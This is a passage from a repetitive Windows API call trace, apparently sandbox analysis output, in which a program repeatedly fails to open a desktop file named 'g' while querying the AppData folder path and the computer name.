hTemplateFile=0x0) returned 0xffffffff [0189.111] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.111] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.111] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.111] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.111] CloseHandle (hObject=0x0) returned 0 [0189.111] CloseHandle (hObject=0xffffffff) returned 1 [0189.111] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.111] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.111] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.111] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.111] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.111] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.111] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.111] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.111] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.111] CloseHandle (hObject=0x0) returned 0 [0189.111] CloseHandle (hObject=0xffffffff) returned 1 [0189.112] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.112] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.112] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.112] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.112] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.112] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.112] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.112] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.112] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.112] CloseHandle (hObject=0x0) returned 0 [0189.112] CloseHandle (hObject=0xffffffff) returned 1 [0189.112] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.112] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.112] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.112] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.112] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.112] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.112] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.112] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.112] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.112] CloseHandle (hObject=0x0) returned 0 [0189.112] CloseHandle (hObject=0xffffffff) returned 1 [0189.112] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.113] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.113] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.113] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.113] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.113] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.113] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.113] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.113] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.113] CloseHandle (hObject=0x0) returned 0 [0189.113] CloseHandle (hObject=0xffffffff) returned 1 [0189.113] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.113] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.113] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.113] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.113] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.113] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.113] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.113] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.113] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.113] CloseHandle (hObject=0x0) returned 0 [0189.113] CloseHandle (hObject=0xffffffff) returned 1 [0189.113] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.113] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.114] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.116] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.116] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.116] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.116] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.116] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.116] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.117] CloseHandle (hObject=0x0) returned 0 [0189.117] CloseHandle (hObject=0xffffffff) returned 1 [0189.117] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.117] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.117] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.117] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.117] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.117] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.117] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.117] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.117] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.117] CloseHandle (hObject=0x0) returned 0 [0189.117] CloseHandle (hObject=0xffffffff) returned 1 [0189.117] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.117] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.117] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.117] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.117] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.117] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.117] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.118] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.118] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.118] CloseHandle (hObject=0x0) returned 0 [0189.118] CloseHandle (hObject=0xffffffff) returned 1 [0189.118] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.118] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.118] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.118] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.118] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.118] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.118] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.118] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.118] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.118] CloseHandle (hObject=0x0) returned 0 [0189.120] CloseHandle (hObject=0xffffffff) returned 1 [0189.120] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.120] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.120] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.120] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.120] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.120] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.120] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.120] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.120] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.120] CloseHandle (hObject=0x0) returned 0 [0189.120] CloseHandle (hObject=0xffffffff) returned 1 [0189.120] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.120] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.120] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.120] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.120] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.120] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.120] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.120] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.121] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.121] CloseHandle (hObject=0x0) returned 0 [0189.121] CloseHandle (hObject=0xffffffff) returned 1 [0189.121] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.121] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.121] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.121] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.121] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.121] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.121] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.121] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.121] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.121] CloseHandle (hObject=0x0) returned 0 [0189.121] CloseHandle (hObject=0xffffffff) returned 1 [0189.121] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.121] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.121] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.121] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.121] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.121] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.121] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.121] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.122] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.122] CloseHandle (hObject=0x0) returned 0 [0189.122] CloseHandle (hObject=0xffffffff) returned 1 [0189.122] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.122] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.122] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.122] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.122] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.122] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.122] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.122] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.122] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.122] CloseHandle (hObject=0x0) returned 0 [0189.122] CloseHandle (hObject=0xffffffff) returned 1 [0189.122] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.122] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.122] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.122] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.122] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.122] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.122] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.122] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.123] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.123] CloseHandle (hObject=0x0) returned 0 [0189.123] CloseHandle (hObject=0xffffffff) returned 1 [0189.123] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.123] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.123] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.123] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.123] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.123] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.123] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.123] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.123] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.123] CloseHandle (hObject=0x0) returned 0 [0189.123] CloseHandle (hObject=0xffffffff) returned 1 [0189.123] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.123] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.123] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.123] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.123] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.123] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.123] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, 